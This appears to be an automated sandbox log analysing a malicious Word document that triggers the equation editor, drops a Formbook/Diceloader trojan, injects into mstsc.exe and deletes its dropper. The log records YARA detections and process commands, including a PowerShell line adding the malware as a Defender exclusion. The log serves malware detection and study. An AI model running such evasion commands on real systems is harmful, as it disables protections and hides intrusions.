Source: C:\Windows\SysWOW64\mstsc.exe Code function: String function: 0231F970 appears 84 times
Source: C:\Windows\SysWOW64\mstsc.exe Code function: String function: 022F3F92 appears 132 times
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: String function: 00DDF970 appears 84 times
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: String function: 00D6E2A8 appears 60 times
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: String function: 00DB3F92 appears 132 times
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: String function: 00DB373B appears 253 times
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: String function: 00D6DF5C appears 137 times
Yara signature match
Source: na.doc, type: SAMPLE Matched rule: INDICATOR_RTF_MalVer_Objects author = ditekSHen, description = Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.
Source: 7.2.ihbgfbin.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Diceloader_15eeb7b9 reference_sample = a1202df600d11ad2c61050e7ba33701c22c2771b676f54edd1846ef418bea746, os = windows, severity = x86, creation_date = 2021-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Diceloader, fingerprint = 4cc70bec5d241c6f84010fbfe2eafbc6ec6d753df2bb3f52d9498b54b11fc8cb, id = 15eeb7b9-311f-477b-8ae1-b8f689a154b7, last_modified = 2021-08-23
Source: 00000007.00000002.429564414.000000000041F000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Diceloader_15eeb7b9 reference_sample = a1202df600d11ad2c61050e7ba33701c22c2771b676f54edd1846ef418bea746, os = windows, severity = x86, creation_date = 2021-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Diceloader, fingerprint = 4cc70bec5d241c6f84010fbfe2eafbc6ec6d753df2bb3f52d9498b54b11fc8cb, id = 15eeb7b9-311f-477b-8ae1-b8f689a154b7, last_modified = 2021-08-23
Source: 0000000A.00000002.928364995.0000000000080000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Diceloader_15eeb7b9 reference_sample = a1202df600d11ad2c61050e7ba33701c22c2771b676f54edd1846ef418bea746, os = windows, severity = x86, creation_date = 2021-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Diceloader, fingerprint = 4cc70bec5d241c6f84010fbfe2eafbc6ec6d753df2bb3f52d9498b54b11fc8cb, id = 15eeb7b9-311f-477b-8ae1-b8f689a154b7, last_modified = 2021-08-23
Source: 0000000A.00000002.928364995.0000000000080000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000A.00000002.928364995.0000000000080000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000A.00000002.928364995.0000000000080000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000A.00000002.928452620.0000000000410000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Diceloader_15eeb7b9 reference_sample = a1202df600d11ad2c61050e7ba33701c22c2771b676f54edd1846ef418bea746, os = windows, severity = x86, creation_date = 2021-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Diceloader, fingerprint = 4cc70bec5d241c6f84010fbfe2eafbc6ec6d753df2bb3f52d9498b54b11fc8cb, id = 15eeb7b9-311f-477b-8ae1-b8f689a154b7, last_modified = 2021-08-23
Source: 0000000A.00000002.928452620.0000000000410000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000A.00000002.928452620.0000000000410000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000A.00000002.928452620.0000000000410000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000007.00000002.429526201.0000000000140000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Diceloader_15eeb7b9 reference_sample = a1202df600d11ad2c61050e7ba33701c22c2771b676f54edd1846ef418bea746, os = windows, severity = x86, creation_date = 2021-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Diceloader, fingerprint = 4cc70bec5d241c6f84010fbfe2eafbc6ec6d753df2bb3f52d9498b54b11fc8cb, id = 15eeb7b9-311f-477b-8ae1-b8f689a154b7, last_modified = 2021-08-23
Source: 00000007.00000002.429526201.0000000000140000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000007.00000002.429526201.0000000000140000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000007.00000002.429526201.0000000000140000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000A.00000002.928419013.0000000000390000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Diceloader_15eeb7b9 reference_sample = a1202df600d11ad2c61050e7ba33701c22c2771b676f54edd1846ef418bea746, os = windows, severity = x86, creation_date = 2021-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Diceloader, fingerprint = 4cc70bec5d241c6f84010fbfe2eafbc6ec6d753df2bb3f52d9498b54b11fc8cb, id = 15eeb7b9-311f-477b-8ae1-b8f689a154b7, last_modified = 2021-08-23
Source: 0000000A.00000002.928419013.0000000000390000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000A.00000002.928419013.0000000000390000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000A.00000002.928419013.0000000000390000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000005.00000002.422078924.0000000003D27000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Diceloader_15eeb7b9 reference_sample = a1202df600d11ad2c61050e7ba33701c22c2771b676f54edd1846ef418bea746, os = windows, severity = x86, creation_date = 2021-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Diceloader, fingerprint = 4cc70bec5d241c6f84010fbfe2eafbc6ec6d753df2bb3f52d9498b54b11fc8cb, id = 15eeb7b9-311f-477b-8ae1-b8f689a154b7, last_modified = 2021-08-23
Source: 00000005.00000002.422078924.0000000003D27000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000005.00000002.422078924.0000000003D27000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000005.00000002.422078924.0000000003D27000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: Process Memory Space: ihbgfbin.exe PID: 3736, type: MEMORYSTR Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: Process Memory Space: ihbgfbin.exe PID: 3824, type: MEMORYSTR Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: Process Memory Space: mstsc.exe PID: 3948, type: MEMORYSTR Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 4q0pGnqqpgTTSL7[1].exe.2.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: ihbgfbin.exe.2.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 5.2.ihbgfbin.exe.3ef9c00.3.raw.unpack, Mt83m7kf8vpro8b62h.cs Security API names: _0020.SetAccessControl
Source: 5.2.ihbgfbin.exe.3ef9c00.3.raw.unpack, Mt83m7kf8vpro8b62h.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.ihbgfbin.exe.3ef9c00.3.raw.unpack, Mt83m7kf8vpro8b62h.cs Security API names: _0020.AddAccessRule
Source: 5.2.ihbgfbin.exe.8260000.5.raw.unpack, Mt83m7kf8vpro8b62h.cs Security API names: _0020.SetAccessControl
Source: 5.2.ihbgfbin.exe.8260000.5.raw.unpack, Mt83m7kf8vpro8b62h.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.ihbgfbin.exe.8260000.5.raw.unpack, Mt83m7kf8vpro8b62h.cs Security API names: _0020.AddAccessRule
Source: 5.2.ihbgfbin.exe.3f69820.2.raw.unpack, Mt83m7kf8vpro8b62h.cs Security API names: _0020.SetAccessControl
Source: 5.2.ihbgfbin.exe.3f69820.2.raw.unpack, Mt83m7kf8vpro8b62h.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.ihbgfbin.exe.3f69820.2.raw.unpack, Mt83m7kf8vpro8b62h.cs Security API names: _0020.AddAccessRule
Source: 5.2.ihbgfbin.exe.3ef9c00.3.raw.unpack, JqoaEHn6fskh1axBN5.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.ihbgfbin.exe.3f69820.2.raw.unpack, JqoaEHn6fskh1axBN5.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.ihbgfbin.exe.8260000.5.raw.unpack, JqoaEHn6fskh1axBN5.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: classification engine Classification label: mal100.troj.expl.evad.winDOC@13/14@10/3
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_0095BC3B memset,memset,??2@YAPAXI@Z,CreateThread,GetLastError,CloseHandle,LoadStringW,LoadStringW,FormatMessageW,LoadStringW,MessageBoxW,LocalFree, 10_2_0095BC3B
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_0094B92E CoCreateInstance, 10_2_0094B92E
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_00912890 LoadLibraryExW,FindResourceExW,LoadResource,SizeofResource,MultiByteToWideChar,FreeLibrary, 10_2_00912890
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\Desktop\~$na.doc Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Mutant created: NULL
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Temp\CVRD2F7.tmp Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................2.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................2.........................s.............."............................. Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................#2.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P............................./2.........................s.............."............................. Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................A2.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................M2.........................s.............."............................. Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................a.g.a.i.n................................3.........................s.............."............................. Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................3.........................s.............."............................. Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.1..........3.........................s.............."..... ....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................3.........................s.............."............................. Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................3.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................3.........................s.............."............................. Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................+. .~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~......3.........................s..............".....$....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................4.........................s.............."............................. Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................4.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................4.........................s.............."............................. Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ . . .m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n..................s..............".....2....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................<4.........................s.............."............................. Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................N4.........................s....................l....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................Z4.........................s.............."............................. Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ .......(.P.............................l4.........................s.............."............................. Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................x4.........................s.............."............................. Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\explorer.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\explorer.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\explorer.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\explorer.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\explorer.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\explorer.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\explorer.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\explorer.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: na.doc ReversingLabs: Detection: 39%
Source: unknown Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\ihbgfbin.exe "C:\Users\user\AppData\Roaming\ihbgfbin.exe"
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\ihbgfbin.exe"
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Process created: C:\Users\user\AppData\Roaming\ihbgfbin.exe "C:\Users\user\AppData\Roaming\ihbgfbin.exe"
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\mstsc.exe "C:\Windows\SysWOW64\mstsc.exe"
Source: C:\Windows\SysWOW64\mstsc.exe Process created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Users\user\AppData\Roaming\ihbgfbin.exe"
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\ihbgfbin.exe "C:\Users\user\AppData\Roaming\ihbgfbin.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\ihbgfbin.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Process created: C:\Users\user\AppData\Roaming\ihbgfbin.exe "C:\Users\user\AppData\Roaming\ihbgfbin.exe" Jump to behavior
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\mstsc.exe "C:\Windows\SysWOW64\mstsc.exe" Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe Process created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Users\user\AppData\Roaming\ihbgfbin.exe" Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: wow64win.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: msi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: cryptsp.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dwmapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: version.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: secur32.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: winhttp.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: webio.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: winnsi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dnsapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: nlaapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Section loaded: wow64win.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Section loaded: bcrypt.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Section loaded: windowscodecs.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wow64win.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: bcrypt.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Section loaded: wow64win.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe Section loaded: wow64win.dll Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe Section loaded: webio.dll Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe Section loaded: credui.dll Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe Section loaded: secur32.dll Jump to behavior
